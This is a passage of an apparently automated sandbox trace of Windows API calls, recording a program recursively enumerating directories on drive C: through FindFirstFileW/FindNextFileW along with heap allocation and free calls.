lpFindFileData=0x38af800) returned 0 [0111.136] FindClose (in: hFindFile=0x4250900 | out: hFindFile=0x4250900) returned 1 [0111.136] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.136] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0111.136] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3c61240 [0111.136] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0x4250900 [0111.137] FindNextFileW (in: hFindFile=0x4250900, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.137] FindNextFileW (in: hFindFile=0x4250900, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.137] FindNextFileW (in: hFindFile=0x4250900, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0111.137] FindNextFileW (in: hFindFile=0x4250900, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0111.137] FindClose (in: hFindFile=0x4250900 | out: hFindFile=0x4250900) returned 1 [0111.138] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0111.138] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 0 [0111.138] FindClose (in: hFindFile=0x4250cc0 | out: hFindFile=0x4250cc0) returned 1 [0111.138] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4251058 | out: hHeap=0x5b0000) returned 1 [0111.139] FindNextFileW (in: hFindFile=0x4250d80, lpFindFileData=0x38afcf8 | out: lpFindFileData=0x38afcf8) returned 1 [0111.139] FindNextFileW (in: hFindFile=0x4250d80, lpFindFileData=0x38afcf8 | out: lpFindFileData=0x38afcf8) returned 1 [0111.139] FindNextFileW (in: hFindFile=0x4250d80, lpFindFileData=0x38afcf8 | out: lpFindFileData=0x38afcf8) returned 1 [0111.139] FindNextFileW (in: hFindFile=0x4250d80, lpFindFileData=0x38afcf8 | out: lpFindFileData=0x38afcf8) returned 1 [0111.139] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4251058 [0111.140] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*", lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 0xffffffff [0111.141] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4251058 | out: hHeap=0x5b0000) returned 1 [0111.141] FindNextFileW (in: hFindFile=0x4250d80, lpFindFileData=0x38afcf8 | out: lpFindFileData=0x38afcf8) returned 1 [0111.141] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x4251058 [0111.141] FindFirstFileW (in: lpFileName="C:\\ESD\\*", lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 0x4250d00 [0111.292] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0111.292] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 0 [0111.292] FindClose (in: hFindFile=0x4250d00 | out: hFindFile=0x4250d00) returned 1 [0111.292] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4251058 | out: hHeap=0x5b0000) returned 1 [0111.292] FindNextFileW (in: hFindFile=0x4250d80, lpFindFileData=0x38afcf8 | out: lpFindFileData=0x38afcf8) returned 1 [0112.103] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0112.108] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0112.114] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4251058 | out: hHeap=0x5b0000) returned 1 [0112.114] FindNextFileW (in: hFindFile=0x4250d80, lpFindFileData=0x38afcf8 | out: lpFindFileData=0x38afcf8) returned 1 [0112.115] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3c61240 | out: hHeap=0x5b0000) returned 1 [0112.115] FindNextFileW (in: hFindFile=0x4250d80, lpFindFileData=0x38afcf8 | out: lpFindFileData=0x38afcf8) returned 1 [0112.116] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0112.116] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0112.772] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0112.772] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38af584 | out: lpFindFileData=0x38af584) returned 1 [0113.034] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.034] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.034] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.034] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.035] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.035] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.035] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.035] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.035] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.035] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.035] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.035] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.035] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.035] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.268] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.268] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.274] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.274] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.275] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.275] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.275] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.275] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.275] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.275] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.277] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.277] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.277] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.277] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42e14c0 | out: hHeap=0x5b0000) returned 1 [0113.282] FindNextFileW (in: hFindFile=0x4250ac0, lpFindFileData=0x38af08c | out: lpFindFileData=0x38af08c) returned 1 [0113.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42e14c0 | out: hHeap=0x5b0000) returned 1 [0113.283] FindNextFileW (in: hFindFile=0x4250ac0, lpFindFileData=0x38af08c | out: lpFindFileData=0x38af08c) returned 1 [0113.283] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42e14c0 | out: hHeap=0x5b0000) returned 1 [0113.283] FindNextFileW (in: hFindFile=0x4250ac0, lpFindFileData=0x38af08c | out: lpFindFileData=0x38af08c) returned 1 [0113.299] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42e14c0 | out: hHeap=0x5b0000) returned 1 [0113.299] FindNextFileW (in: hFindFile=0x4250ac0, lpFindFileData=0x38af08c | out: lpFindFileData=0x38af08c) returned 1 [0113.299] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42e14c0 | out: hHeap=0x5b0000) returned 1 [0113.299] FindNextFileW (in: hFindFile=0x4250ac0, lpFindFileData=0x38af08c | out: lpFindFileData=0x38af08c) returned 1 [0113.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42e14c0 | out: hHeap=0x5b0000) returned 1 [0113.303] FindNextFileW (in: hFindFile=0x4250ac0, lpFindFileData=0x38af08c | out: lpFindFileData=0x38af08c) returned 1 [0113.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0113.303] FindNextFileW (in: hFindFile=0x4250ac0, lpFindFileData=0x38af08c | out: lpFindFileData=0x38af08c) returned 1 [0113.303] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0113.303] FindNextFileW (in: hFindFile=0x4250ac0, lpFindFileData=0x38af08c | out: lpFindFileData=0x38af08c) returned 1 [0113.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0113.304] FindNextFileW (in: hFindFile=0x4250ac0, lpFindFileData=0x38af08c | out: lpFindFileData=0x38af08c) returned 1 [0113.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42d14b8 | out: hHeap=0x5b0000) returned 1 [0113.304] FindNextFileW (in: hFindFile=0x4250ac0, lpFindFileData=0x38af08c | out: lpFindFileData=0x38af08c) returned 1 [0113.304] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.305] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.306] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.306] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.306] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.306] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.306] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.306] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.306] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.307] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.344] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.344] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.344] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.344] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.344] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.344] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.349] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.349] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.349] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.349] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.349] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.349] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.350] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.350] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.351] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.351] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.351] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.352] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.352] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.352] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.352] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.352] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.354] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.354] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.354] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.354] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.354] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.354] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.355] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.355] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.357] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.357] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.357] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.357] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.357] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.357] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.358] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.358] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.360] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.360] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.360] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.360] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.360] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.360] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 0 [0113.361] FindClose (in: hFindFile=0x4251000 | out: hFindFile=0x4251000) returned 1 [0113.361] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0113.361] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38af584 | out: lpFindFileData=0x38af584) returned 1 [0113.361] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0113.361] FindNextFileW (in: hFindFile=0x4250d40, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.364] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0113.364] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38af584 | out: lpFindFileData=0x38af584) returned 1 [0113.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.575] FindNextFileW (in: hFindFile=0x4250d40, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 0 [0113.575] FindClose (in: hFindFile=0x4250d40 | out: hFindFile=0x4250d40) returned 1 [0113.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0113.575] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38af584 | out: lpFindFileData=0x38af584) returned 1 [0113.614] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0113.614] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38af584 | out: lpFindFileData=0x38af584) returned 1 [0113.617] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0113.617] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38af584 | out: lpFindFileData=0x38af584) returned 1 [0113.846] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0113.846] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38af584 | out: lpFindFileData=0x38af584) returned 1 [0113.846] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0113.846] FindNextFileW (in: hFindFile=0x4250a80, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 0 [0113.846] FindClose (in: hFindFile=0x4250a80 | out: hFindFile=0x4250a80) returned 1 [0113.846] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0113.846] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38af584 | out: lpFindFileData=0x38af584) returned 1 [0113.847] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0113.847] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 0 [0113.847] FindClose (in: hFindFile=0x4250c80 | out: hFindFile=0x4250c80) returned 1 [0113.847] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0113.847] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38af584 | out: lpFindFileData=0x38af584) returned 1 [0113.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0113.849] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38af584 | out: lpFindFileData=0x38af584) returned 1 [0113.849] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0113.849] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38af584 | out: lpFindFileData=0x38af584) returned 1 [0113.896] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42c14b0 | out: hHeap=0x5b0000) returned 1 [0113.896] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x38af08c | out: lpFindFileData=0x38af08c) returned 1 [0113.897] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0113.897] FindNextFileW (in: hFindFile=0x4250dc0, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0113.897] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0113.898] FindNextFileW (in: hFindFile=0x4250cc0, lpFindFileData=0x38af584 | out: lpFindFileData=0x38af584) returned 0 [0113.898] FindClose (in: hFindFile=0x4250cc0 | out: hFindFile=0x4250cc0) returned 1 [0113.898] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0113.898] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0113.898] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0113.898] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0114.022] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0114.022] FindNextFileW (in: hFindFile=0x4250d40, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0114.023] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4291498 | out: hHeap=0x5b0000) returned 1 [0114.023] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38af584 | out: lpFindFileData=0x38af584) returned 1 [0114.024] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4291498 | out: hHeap=0x5b0000) returned 1 [0114.024] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38af584 | out: lpFindFileData=0x38af584) returned 1 [0114.026] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0114.026] FindNextFileW (in: hFindFile=0x4250ac0, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0114.028] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4291498 | out: hHeap=0x5b0000) returned 1 [0114.028] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38af584 | out: lpFindFileData=0x38af584) returned 1 [0114.031] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42b14a8 | out: hHeap=0x5b0000) returned 1 [0114.031] FindNextFileW (in: hFindFile=0x4250c80, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0114.031] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4291498 | out: hHeap=0x5b0000) returned 1 [0114.031] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38af584 | out: lpFindFileData=0x38af584) returned 1 [0114.032] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0114.033] FindNextFileW (in: hFindFile=0x4250bc0, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 0 [0114.033] FindClose (in: hFindFile=0x4250bc0 | out: hFindFile=0x4250bc0) returned 1 [0114.033] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4251058 | out: hHeap=0x5b0000) returned 1 [0114.033] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0114.035] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0114.035] FindNextFileW (in: hFindFile=0x4250d40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0114.035] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0114.035] FindNextFileW (in: hFindFile=0x4250d40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0114.036] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4261480 | out: hHeap=0x5b0000) returned 1 [0114.036] FindNextFileW (in: hFindFile=0x4250d40, lpFindFileData=0x38af800 | out: lpFindFileData=0x38af800) returned 1 [0114.036] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4251058 | out: hHeap=0x5b0000) returned 1 [0114.036] FindNextFileW (in: hFindFile=0x4250f00, lpFindFileData=0x38afa7c | out: lpFindFileData=0x38afa7c) returned 1 [0114.988] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0114.988] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0115.073] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0115.073] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0115.075] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0115.075] FindNextFileW (in: hFindFile=0x4250e40, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0115.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43114d0 | out: hHeap=0x5b0000) returned 1 [0115.076] FindNextFileW (in: hFindFile=0x4251000, lpFindFileData=0x38af584 | out: lpFindFileData=0x38af584) returned 1 [0115.144] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0115.144] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0115.145] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0115.145] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0115.148] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0115.148] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 [0115.200] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4271488 | out: hHeap=0x5b0000) returned 1 [0115.200] FindNextFileW (in: hFindFile=0x4250d00, lpFindFileData=0x38af308 | out: lpFindFileData=0x38af308) returned 1 